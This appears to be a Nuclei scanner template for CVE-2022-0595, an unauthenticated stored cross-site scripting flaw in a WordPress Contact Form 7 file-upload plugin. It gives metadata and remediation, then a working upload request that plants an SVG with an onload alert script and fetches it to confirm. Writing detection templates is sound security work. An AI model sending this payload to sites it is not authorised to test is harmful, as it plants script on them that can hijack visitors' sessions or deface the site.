WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting

id: CVE-2022-0595

info:
  name: WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting
  author: akincibor
  severity: medium
  description: |
    WordPress Contact Form 7 before 1.3.6.3 contains an unauthenticated stored cross-site scripting vulnerability in the Drag and Drop Multiple File Upload plugin. SVG files can be uploaded by default via the dnd_codedropz_upload AJAX action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update the WordPress Contact Form 7 plugin to version 1.3.6.3 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de
    - https://plugins.trac.wordpress.org/changeset/2686614
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0595
    cwe-id: CWE-79
    epss-score: 0.00102
    epss-percentile: 0.40538
    cpe: cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: codedropz
    product: drag_and_drop_multiple_file_upload_-_contact_form_7
    framework: wordpress
  tags: cve,cve2022,xss,wordpress,wp-plugin,wpscan,fileupload,intrusive,unauth,codedropz

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161

        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="size_limit"

        10485760
        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="action"

        dnd_codedropz_upload
        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="type"

        click
        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.svg"
        Content-Type: image/jpeg

        <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
        -----------------------------92633278134516118923780781161--
      - |
        GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "alert(document.domain)")'
          - 'status_code_2 == 200'
        condition: and
# digest: 490a0046304402200bfd837680f36e8110d8eef44bd96b117d17b66466691a831f6465ce55cbfa74022069141b6a4dcc45bebefa8074faac3b961b8bfb9dd121151c45865473254fbde3:922c64590222798bb761d5b6d8e72950